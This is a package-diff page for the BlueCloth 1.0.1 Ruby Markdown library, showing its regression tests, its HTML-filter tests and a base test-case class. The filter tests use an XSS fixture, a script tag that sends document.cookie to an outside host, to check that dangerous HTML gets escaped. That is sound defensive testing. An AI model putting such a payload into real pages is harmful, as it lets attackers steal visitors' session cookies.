BlueCloth 1.0.1
Sign up to get free protection for your applications and to get access to all the features.
- data/CHANGES +506 -0
- data/LICENSE +340 -0
- data/README +99 -0
- data/bin/bluecloth +83 -0
- data/install.rb +185 -0
- data/lib/bluecloth.rb +1144 -0
- data/test.rb +117 -0
- data/tests/00_Class.tests.rb +71 -0
- data/tests/05_Markdown.tests.rb +1541 -0
- data/tests/10_Bug.tests.rb +67 -0
- data/tests/15_Contrib.tests.rb +132 -0
- data/tests/bctestcase.rb +283 -0
- data/tests/data/antsugar.txt +34 -0
- data/tests/data/hr-dos.txt +4 -0
- data/tests/data/ml-announce.txt +17 -0
- data/tests/data/re-overflow.txt +67 -0
- data/tests/data/re-overflow2.txt +281 -0
- data/utils.rb +739 -0
- metadata +74 -0
@@ -0,0 +1,67 @@
|
|
1
|
+
#!/usr/bin/ruby
|
2
|
+
#
|
3
|
+
# Unit test for bugs found in BlueCloth
|
4
|
+
# $Id: 10_Bug.tests.rb 128 2009-07-15 23:33:03Z deveiant $
|
5
|
+
#
|
6
|
+
# Copyright (c) 2004 The FaerieMUD Consortium.
|
7
|
+
#
|
8
|
+
|
9
|
+
if !defined?( BlueCloth ) || !defined?( BlueCloth::TestCase )
|
10
|
+
basedir = File::dirname( __FILE__ )
|
11
|
+
require File::join( basedir, 'bctestcase' )
|
12
|
+
end
|
13
|
+
|
14
|
+
|
15
|
+
require 'timeout'
|
16
|
+
|
17
|
+
### This test case tests ...
|
18
|
+
class BugsTestCase < BlueCloth::TestCase
|
19
|
+
BaseDir = File::dirname( File::dirname(File::expand_path( __FILE__ )) )
|
20
|
+
|
21
|
+
### Test to be sure the README file can be transformed.
|
22
|
+
def test_00_slow_block_regex
|
23
|
+
contents = File::read( File::join(BaseDir,"README") )
|
24
|
+
bcobj = BlueCloth::new( contents )
|
25
|
+
|
26
|
+
assert_nothing_raised {
|
27
|
+
timeout( 2 ) do
|
28
|
+
bcobj.to_html
|
29
|
+
end
|
30
|
+
}
|
31
|
+
end
|
32
|
+
|
33
|
+
### :TODO: Add more documents and test their transforms.
|
34
|
+
|
35
|
+
def test_10_regexp_engine_overflow_bug
|
36
|
+
contents = File::read( File::join(BaseDir,"tests/data/re-overflow.txt") )
|
37
|
+
bcobj = BlueCloth::new( contents )
|
38
|
+
|
39
|
+
assert_nothing_raised {
|
40
|
+
bcobj.to_html
|
41
|
+
}
|
42
|
+
end
|
43
|
+
|
44
|
+
def test_15_regexp_engine_overflow_bug2
|
45
|
+
contents = File::read( File::join(BaseDir,"tests/data/re-overflow2.txt") )
|
46
|
+
bcobj = BlueCloth::new( contents )
|
47
|
+
|
48
|
+
assert_nothing_raised {
|
49
|
+
bcobj.to_html
|
50
|
+
}
|
51
|
+
end
|
52
|
+
|
53
|
+
def test_20_malformed_hr_dos_bug
|
54
|
+
contents = File.read( File.join(BaseDir,"tests/data/hr-dos.txt") )
|
55
|
+
bcobj = BlueCloth.new( contents )
|
56
|
+
|
57
|
+
assert_nothing_raised {
|
58
|
+
timeout( 2 ) do
|
59
|
+
bcobj.to_html
|
60
|
+
end
|
61
|
+
}
|
62
|
+
end
|
63
|
+
end
|
64
|
+
|
65
|
+
|
66
|
+
__END__
|
67
|
+
|
@@ -0,0 +1,132 @@
|
|
1
|
+
#!/usr/bin/ruby
|
2
|
+
#
|
3
|
+
# Unit test for contributed features
|
4
|
+
# $Id: TEMPLATE.rb.tpl,v 1.2 2003/09/11 04:59:51 deveiant Exp $
|
5
|
+
#
|
6
|
+
# Copyright (c) 2004 The FaerieMUD Consortium.
|
7
|
+
#
|
8
|
+
|
9
|
+
if !defined?( BlueCloth ) || !defined?( BlueCloth::TestCase )
|
10
|
+
basedir = File::dirname( __FILE__ )
|
11
|
+
require File::join( basedir, 'bctestcase' )
|
12
|
+
end
|
13
|
+
|
14
|
+
|
15
|
+
|
16
|
+
### This test case tests ...
|
17
|
+
class ContribTestCase < BlueCloth::TestCase
|
18
|
+
|
19
|
+
DangerousHtml =
|
20
|
+
"<script>document.location='http://www.hacktehplanet.com" +
|
21
|
+
"/cgi-bin/cookie.cgi?' + document.cookie</script>"
|
22
|
+
DangerousHtmlOutput =
|
23
|
+
"<p><script>document.location='http://www.hacktehplanet.com" +
|
24
|
+
"/cgi-bin/cookie.cgi?' + document.cookie</script></p>"
|
25
|
+
DangerousStylesOutput =
|
26
|
+
"<script>document.location='http://www.hacktehplanet.com" +
|
27
|
+
"/cgi-bin/cookie.cgi?' + document.cookie</script>"
|
28
|
+
NoLessThanHtml = "Foo is definitely > than bar"
|
29
|
+
NoLessThanOutput = "<p>Foo is definitely > than bar</p>"
|
30
|
+
|
31
|
+
|
32
|
+
### HTML filter options contributed by Florian Gross.
|
33
|
+
|
34
|
+
### Test the :filter_html restriction
|
35
|
+
def test_10_filter_html
|
36
|
+
printTestHeader "filter_html Option"
|
37
|
+
rval = bc = nil
|
38
|
+
|
39
|
+
# Test as a 1st-level param
|
40
|
+
assert_nothing_raised {
|
41
|
+
bc = BlueCloth::new( DangerousHtml, :filter_html )
|
42
|
+
}
|
43
|
+
assert_instance_of BlueCloth, bc
|
44
|
+
|
45
|
+
# Accessors
|
46
|
+
assert_nothing_raised { rval = bc.filter_html }
|
47
|
+
assert_equal true, rval
|
48
|
+
assert_nothing_raised { rval = bc.filter_styles }
|
49
|
+
assert_equal nil, rval
|
50
|
+
|
51
|
+
# Test rendering with filters on
|
52
|
+
assert_nothing_raised { rval = bc.to_html }
|
53
|
+
assert_equal DangerousHtmlOutput, rval
|
54
|
+
|
55
|
+
# Test setting it in a sub-array
|
56
|
+
assert_nothing_raised {
|
57
|
+
bc = BlueCloth::new( DangerousHtml, [:filter_html] )
|
58
|
+
}
|
59
|
+
assert_instance_of BlueCloth, bc
|
60
|
+
|
61
|
+
# Accessors
|
62
|
+
assert_nothing_raised { rval = bc.filter_html }
|
63
|
+
assert_equal true, rval
|
64
|
+
assert_nothing_raised { rval = bc.filter_styles }
|
65
|
+
assert_equal nil, rval
|
66
|
+
|
67
|
+
# Test rendering with filters on
|
68
|
+
assert_nothing_raised { rval = bc.to_html }
|
69
|
+
assert_equal DangerousHtmlOutput, rval
|
70
|
+
end
|
71
|
+
|
72
|
+
|
73
|
+
### Test the :filter_styles restriction
|
74
|
+
def test_20_filter_styles
|
75
|
+
printTestHeader "filter_styles Option"
|
76
|
+
rval = bc = nil
|
77
|
+
|
78
|
+
# Test as a 1st-level param
|
79
|
+
assert_nothing_raised {
|
80
|
+
bc = BlueCloth::new( DangerousHtml, :filter_styles )
|
81
|
+
}
|
82
|
+
assert_instance_of BlueCloth, bc
|
83
|
+
|
84
|
+
# Accessors
|
85
|
+
assert_nothing_raised { rval = bc.filter_styles }
|
86
|
+
assert_equal true, rval
|
87
|
+
assert_nothing_raised { rval = bc.filter_html }
|
88
|
+
assert_equal nil, rval
|
89
|
+
|
90
|
+
# Test rendering with filters on
|
91
|
+
assert_nothing_raised { rval = bc.to_html }
|
92
|
+
assert_equal DangerousStylesOutput, rval
|
93
|
+
|
94
|
+
# Test setting it in a subarray
|
95
|
+
assert_nothing_raised {
|
96
|
+
bc = BlueCloth::new( DangerousHtml, [:filter_styles] )
|
97
|
+
}
|
98
|
+
assert_instance_of BlueCloth, bc
|
99
|
+
|
100
|
+
# Accessors
|
101
|
+
assert_nothing_raised { rval = bc.filter_styles }
|
102
|
+
assert_equal true, rval
|
103
|
+
assert_nothing_raised { rval = bc.filter_html }
|
104
|
+
assert_equal nil, rval
|
105
|
+
|
106
|
+
# Test rendering with filters on
|
107
|
+
assert_nothing_raised { rval = bc.to_html }
|
108
|
+
assert_equal DangerousStylesOutput, rval
|
109
|
+
|
110
|
+
end
|
111
|
+
|
112
|
+
|
113
|
+
### Test to be sure filtering when there's no opening angle brackets doesn't
|
114
|
+
### die.
|
115
|
+
def test_30_filter_no_less_than
|
116
|
+
printTestHeader "filter without a less-than"
|
117
|
+
rval = bc = nil
|
118
|
+
|
119
|
+
# Test as a 1st-level param
|
120
|
+
assert_nothing_raised {
|
121
|
+
bc = BlueCloth::new( NoLessThanHtml, :filter_html )
|
122
|
+
}
|
123
|
+
assert_instance_of BlueCloth, bc
|
124
|
+
|
125
|
+
assert_nothing_raised { rval = bc.to_html }
|
126
|
+
assert_equal NoLessThanOutput, rval
|
127
|
+
end
|
128
|
+
|
129
|
+
|
130
|
+
|
131
|
+
end
|
132
|
+
|
data/tests/bctestcase.rb
ADDED
@@ -0,0 +1,283 @@
|
|
1
|
+
#!/usr/bin/ruby
|
2
|
+
#
|
3
|
+
# This is an abstract test case class for building Test::Unit unit tests for the
|
4
|
+
# BlueCloth module. It consolidates most of the maintenance work that must be
|
5
|
+
# done to build a test file by adjusting the $LOAD_PATH appropriately, as well
|
6
|
+
# as adding some other useful methods that make building, maintaining, and using
|
7
|
+
# the tests for programming much easier (IMHO). See the docs for Test::Unit for
|
8
|
+
# more info on the particulars of unit testing.
|
9
|
+
#
|
10
|
+
# == Synopsis
|
11
|
+
#
|
12
|
+
# # Allow the test to be run from anywhere:
|
13
|
+
# if !defined?( BlueCloth ) || !defined?( BlueCloth::TestCase )
|
14
|
+
# basedir = File::dirname( __FILE__ )
|
15
|
+
# require File::join( basedir, 'bctestcase' )
|
16
|
+
# end
|
17
|
+
#
|
18
|
+
# class MySomethingTest < BlueCloth::TestCase
|
19
|
+
# def setup
|
20
|
+
# super()
|
21
|
+
# @foo = 'bar'
|
22
|
+
# end
|
23
|
+
#
|
24
|
+
# def test_00_something
|
25
|
+
# obj = nil
|
26
|
+
# assert_nothing_raised { obj = MySomething::new }
|
27
|
+
# assert_instance_of MySomething, obj
|
28
|
+
# assert_respond_to :myMethod, obj
|
29
|
+
# end
|
30
|
+
#
|
31
|
+
# end
|
32
|
+
#
|
33
|
+
# == Rcsid
|
34
|
+
#
|
35
|
+
# $Id: lingtestcase.rb,v 1.3 2003/09/11 05:00:56 deveiant Exp $
|
36
|
+
#
|
37
|
+
# == Authors
|
38
|
+
#
|
39
|
+
# * Michael Granger <ged@FaerieMUD.org>
|
40
|
+
#
|
41
|
+
#:include: COPYRIGHT
|
42
|
+
#
|
43
|
+
#---
|
44
|
+
#
|
45
|
+
# Please see the file COPYRIGHT in the 'docs' directory for licensing details.
|
46
|
+
#
|
47
|
+
|
48
|
+
$DebugPattern ||= nil
|
49
|
+
|
50
|
+
begin
|
51
|
+
basedir = File::dirname( File::dirname(__FILE__) )
|
52
|
+
unless $LOAD_PATH.include?( "#{basedir}/lib" )
|
53
|
+
$LOAD_PATH.unshift "#{basedir}/lib"
|
54
|
+
end
|
55
|
+
end
|
56
|
+
|
57
|
+
# Try to enforce 1.0.x BlueCloth if it's installed as a gem, but don't
|
58
|
+
# die if not.
|
59
|
+
begin
|
60
|
+
require 'rubygems'
|
61
|
+
gem 'BlueCloth', '~> 1.0.0'
|
62
|
+
rescue LoadError
|
63
|
+
# no-op
|
64
|
+
end
|
65
|
+
|
66
|
+
require "test/unit"
|
67
|
+
require "bluecloth"
|
68
|
+
|
69
|
+
|
70
|
+
class BlueCloth
|
71
|
+
|
72
|
+
### The abstract base class for BlueCloth test cases.
|
73
|
+
class TestCase < Test::Unit::TestCase
|
74
|
+
|
75
|
+
@methodCounter = 0
|
76
|
+
@setupBlocks = []
|
77
|
+
@teardownBlocks = []
|
78
|
+
class << self
|
79
|
+
attr_accessor :methodCounter, :setupBlocks, :teardownBlocks
|
80
|
+
end
|
81
|
+
|
82
|
+
|
83
|
+
### Inheritance callback -- adds @setupBlocks and @teardownBlocks ivars
|
84
|
+
### and accessors to the inheriting class.
|
85
|
+
def self::inherited( klass )
|
86
|
+
klass.module_eval {
|
87
|
+
@setupBlocks = []
|
88
|
+
@teardownBlocks = []
|
89
|
+
|
90
|
+
class << self
|
91
|
+
attr_accessor :setupBlocks, :teardownBlocks
|
92
|
+
end
|
93
|
+
}
|
94
|
+
klass.methodCounter = 0
|
95
|
+
end
|
96
|
+
|
97
|
+
|
98
|
+
|
99
|
+
### Output the specified <tt>msgs</tt> joined together to
|
100
|
+
### <tt>STDERR</tt> if <tt>$DEBUG</tt> is set.
|
101
|
+
def self::debugMsg( *msgs )
|
102
|
+
return unless $DEBUG
|
103
|
+
self.message "DEBUG>>> %s" % msgs.join('')
|
104
|
+
end
|
105
|
+
|
106
|
+
### Output the specified <tt>msgs</tt> joined together to
|
107
|
+
### <tt>STDOUT</tt>.
|
108
|
+
def self::message( *msgs )
|
109
|
+
$stderr.puts msgs.join('')
|
110
|
+
$stderr.flush
|
111
|
+
end
|
112
|
+
|
113
|
+
|
114
|
+
### Add a setup block for the current testcase
|
115
|
+
def self::addSetupBlock( &block )
|
116
|
+
self.methodCounter += 1
|
117
|
+
newMethodName = "setup_#{self.methodCounter}".intern
|
118
|
+
define_method( newMethodName, &block )
|
119
|
+
self.setupBlocks.push newMethodName
|
120
|
+
end
|
121
|
+
|
122
|
+
### Add a teardown block for the current testcase
|
123
|
+
def self::addTeardownBlock( &block )
|
124
|
+
self.methodCounter += 1
|
125
|
+
newMethodName = "teardown_#{self.methodCounter}".intern
|
126
|
+
define_method( newMethodName, &block )
|
127
|
+
self.teardownBlocks.unshift newMethodName
|
128
|
+
end
|
129
|
+
|
130
|
+
|
131
|
+
#############################################################
|
132
|
+
### I N S T A N C E M E T H O D S
|
133
|
+
#############################################################
|
134
|
+
|
135
|
+
### A dummy test method to allow this Test::Unit::TestCase to be
|
136
|
+
### subclassed without complaining about the lack of tests.
|
137
|
+
def test_0_dummy
|
138
|
+
end
|
139
|
+
|
140
|
+
|
141
|
+
### Forward-compatibility method for namechange in Test::Unit
|
142
|
+
def setup( *args )
|
143
|
+
self.class.setupBlocks.each {|sblock|
|
144
|
+
debugMsg "Calling setup block method #{sblock}"
|
145
|
+
self.send( sblock )
|
146
|
+
}
|
147
|
+
super( *args )
|
148
|
+
end
|
149
|
+
alias_method :set_up, :setup
|
150
|
+
|
151
|
+
|
152
|
+
### Forward-compatibility method for namechange in Test::Unit
|
153
|
+
def teardown( *args )
|
154
|
+
super( *args )
|
155
|
+
self.class.teardownBlocks.each {|tblock|
|
156
|
+
debugMsg "Calling teardown block method #{tblock}"
|
157
|
+
self.send( tblock )
|
158
|
+
}
|
159
|
+
end
|
160
|
+
alias_method :tear_down, :teardown
|
161
|
+
|
162
|
+
|
163
|
+
### Skip the current step (called from #setup) with the +reason+ given.
|
164
|
+
def skip( reason=nil )
|
165
|
+
if reason
|
166
|
+
msg = "Skipping %s: %s" % [ @method_name, reason ]
|
167
|
+
else
|
168
|
+
msg = "Skipping %s: No reason given." % @method_name
|
169
|
+
end
|
170
|
+
|
171
|
+
$stderr.puts( msg ) if $VERBOSE
|
172
|
+
@method_name = :skipped_test
|
173
|
+
end
|
174
|
+
|
175
|
+
|
176
|
+
def skipped_test # :nodoc:
|
177
|
+
end
|
178
|
+
|
179
|
+
|
180
|
+
### Add the specified +block+ to the code that gets executed by #setup.
|
181
|
+
def addSetupBlock( &block ); self.class.addSetupBlock( &block ); end
|
182
|
+
|
183
|
+
|
184
|
+
### Add the specified +block+ to the code that gets executed by #teardown.
|
185
|
+
def addTeardownBlock( &block ); self.class.addTeardownBlock( &block ); end
|
186
|
+
|
187
|
+
|
188
|
+
### Instance alias for the like-named class method.
|
189
|
+
def message( *msgs )
|
190
|
+
self.class.message( *msgs )
|
191
|
+
end
|
192
|
+
|
193
|
+
|
194
|
+
### Instance alias for the like-named class method
|
195
|
+
def debugMsg( *msgs )
|
196
|
+
self.class.debugMsg( *msgs )
|
197
|
+
end
|
198
|
+
|
199
|
+
|
200
|
+
### Output a separator line made up of <tt>length</tt> of the specified
|
201
|
+
### <tt>char</tt>.
|
202
|
+
def writeLine( length=75, char="-" )
|
203
|
+
$stderr.puts "\r" + (char * length )
|
204
|
+
end
|
205
|
+
|
206
|
+
|
207
|
+
### Output a header for delimiting tests
|
208
|
+
def printTestHeader( desc )
|
209
|
+
return unless $VERBOSE || $DEBUG
|
210
|
+
message ">>> %s <<<" % desc
|
211
|
+
end
|
212
|
+
|
213
|
+
|
214
|
+
### Try to force garbage collection to start.
|
215
|
+
def collectGarbage
|
216
|
+
a = []
|
217
|
+
1000.times { a << {} }
|
218
|
+
a = nil
|
219
|
+
GC.start
|
220
|
+
end
|
221
|
+
|
222
|
+
|
223
|
+
### Output the name of the test as it's running if in verbose mode.
|
224
|
+
def run( result )
|
225
|
+
$stderr.puts self.name if $VERBOSE || $DEBUG
|
226
|
+
|
227
|
+
# Support debugging for individual tests
|
228
|
+
olddb = nil
|
229
|
+
if $DebugPattern && $DebugPattern =~ @method_name
|
230
|
+
olddb = $DEBUG
|
231
|
+
$DEBUG = true
|
232
|
+
end
|
233
|
+
|
234
|
+
super
|
235
|
+
|
236
|
+
$DEBUG = olddb unless olddb.nil?
|
237
|
+
end
|
238
|
+
|
239
|
+
|
240
|
+
#############################################################
|
241
|
+
### E X T R A A S S E R T I O N S
|
242
|
+
#############################################################
|
243
|
+
|
244
|
+
### Negative of assert_respond_to
|
245
|
+
def assert_not_respond_to( obj, meth )
|
246
|
+
msg = "%s expected NOT to respond to '%s'" %
|
247
|
+
[ obj.inspect, meth ]
|
248
|
+
assert_block( msg ) {
|
249
|
+
!obj.respond_to?( meth )
|
250
|
+
}
|
251
|
+
end
|
252
|
+
|
253
|
+
|
254
|
+
### Assert that the instance variable specified by +sym+ of an +object+
|
255
|
+
### is equal to the specified +value+. The '@' at the beginning of the
|
256
|
+
### +sym+ will be prepended if not present.
|
257
|
+
def assert_ivar_equal( value, object, sym )
|
258
|
+
sym = "@#{sym}".intern unless /^@/ =~ sym.to_s
|
259
|
+
msg = "Instance variable '%s'\n\tof <%s>\n\texpected to be <%s>\n" %
|
260
|
+
[ sym, object.inspect, value.inspect ]
|
261
|
+
msg += "\tbut was: <%s>" % object.instance_variable_get(sym)
|
262
|
+
assert_block( msg ) {
|
263
|
+
value == object.instance_variable_get(sym)
|
264
|
+
}
|
265
|
+
end
|
266
|
+
|
267
|
+
|
268
|
+
### Assert that the specified +object+ has an instance variable which
|
269
|
+
### matches the specified +sym+. The '@' at the beginning of the +sym+
|
270
|
+
### will be prepended if not present.
|
271
|
+
def assert_has_ivar( sym, object )
|
272
|
+
sym = "@#{sym}" unless /^@/ =~ sym.to_s
|
273
|
+
msg = "Object <%s> expected to have an instance variable <%s>" %
|
274
|
+
[ object.inspect, sym ]
|
275
|
+
assert_block( msg ) {
|
276
|
+
object.instance_variables.include?( sym.to_s )
|
277
|
+
}
|
278
|
+
end
|
279
|
+
|
280
|
+
end # class TestCase
|
281
|
+
|
282
|
+
end # class BlueCloth
|
283
|
+
|